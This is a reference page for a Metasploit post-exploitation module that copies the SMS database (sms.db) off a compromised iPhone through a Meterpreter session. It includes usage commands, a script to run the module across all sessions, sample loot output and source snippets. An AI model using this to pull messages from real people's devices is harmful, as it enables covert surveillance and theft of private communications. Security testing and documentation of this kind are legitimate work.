iOS Text Gatherer - Metasploit


This page contains detailed information about how to use the post/apple_ios/gather/ios_text_gather metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: iOS Text Gatherer
Module: post/apple_ios/gather/ios_text_gather
Source code: modules/post/apple_ios/gather/ios_text_gather.rb
Disclosure date: -
Last modification time: 2018-11-02 08:01:15 +0000
Supported architecture(s): -
Supported platform(s): Apple_iOS
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module collects text messages from iPhones. Tested on iOS 10.3.3 on an iPhone 5.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/apple_ios/gather/ios_text_gather

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/apple_ios/gather/ios_text_gather
msf post(ios_text_gather) > show options
    ... show and set options ...
msf post(ios_text_gather) > set SESSION session-id
msf post(ios_text_gather) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/apple_ios/gather/ios_text_gather")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Description


This module downloads the sms.db file from iPhones

Verification Steps


  1. Start msfconsole
  2. Get a session
  3. Do: use post/apple_ios/gather/ios_text_gather
  4. Do: set SESSION <session>
  5. Do: run
  6. You should get the sms.db file on the iPhone target

Scenarios


Tested on iOS 10.3.3 on an iPhone 5


  msf5 > use post/apple_ios/gather/ios_text_gather
  msf5 post(apple_ios/gather/ios_text_gather) > set session 1
  session => 1
  msf5 post(apple_ios/gather/ios_text_gather) > run

  [!] SESSION may not be compatible with this module.
  [+] sms.db file found
  [+] sms.db stored at /Users/space/.msf4/loot/20181101154200_default_192.168.43.49_sms.db.file_591456.txt
  [*] Post module execution completed


Go back to menu.

Msfconsole Usage


Here is how the apple_ios/gather/ios_text_gather post exploitation module looks in the msfconsole:

msf6 > use post/apple_ios/gather/ios_text_gather

msf6 post(apple_ios/gather/ios_text_gather) > show info

       Name: iOS Text Gatherer
     Module: post/apple_ios/gather/ios_text_gather
   Platform: Apple_iOS
       Arch: 
       Rank: Normal

Provided by:
  Shelby Pace

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module collects text messages from iPhones. Tested on iOS 
  10.3.3 on an iPhone 5.

Module Options


This is a complete list of options available in the apple_ios/gather/ios_text_gather post exploitation module:

msf6 post(apple_ios/gather/ios_text_gather) > show options

Module options (post/apple_ios/gather/ios_text_gather):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the apple_ios/gather/ios_text_gather post exploitation module:

msf6 post(apple_ios/gather/ios_text_gather) > show advanced

Module advanced options (post/apple_ios/gather/ios_text_gather):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the apple_ios/gather/ios_text_gather module can do:

msf6 post(apple_ios/gather/ios_text_gather) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the apple_ios/gather/ios_text_gather post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(apple_ios/gather/ios_text_gather) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to read sms.db file


Here is a relevant code snippet related to the "Failed to read sms.db file" error message:

24:	  def download_text_db(file_path)
25:	    db_file_data = read_file(file_path)
26:	    loc = store_loot('sms.db.file', 'text/plain', session, db_file_data, 'sms.db')
27:	    print_good("sms.db stored at #{loc}")
28:	  rescue
29:	    fail_with(Failure::NoAccess, "Failed to read sms.db file")
30:	  end
31:	
32:	  def run
33:	    sms_path = '/private/var/mobile/Library/SMS/sms.db'
34:	    unless file?(sms_path)

Couldn't locate sms.db file


Here is a relevant code snippet related to the "Couldn't locate sms.db file" error message:

30:	  end
31:	
32:	  def run
33:	    sms_path = '/private/var/mobile/Library/SMS/sms.db'
34:	    unless file?(sms_path)
35:	      fail_with(Failure::NotFound, "Couldn't locate sms.db file")
36:	    end
37:	
38:	    print_good('sms.db file found')
39:	    download_text_db(sms_path)
40:	  end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Shelby Pace

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.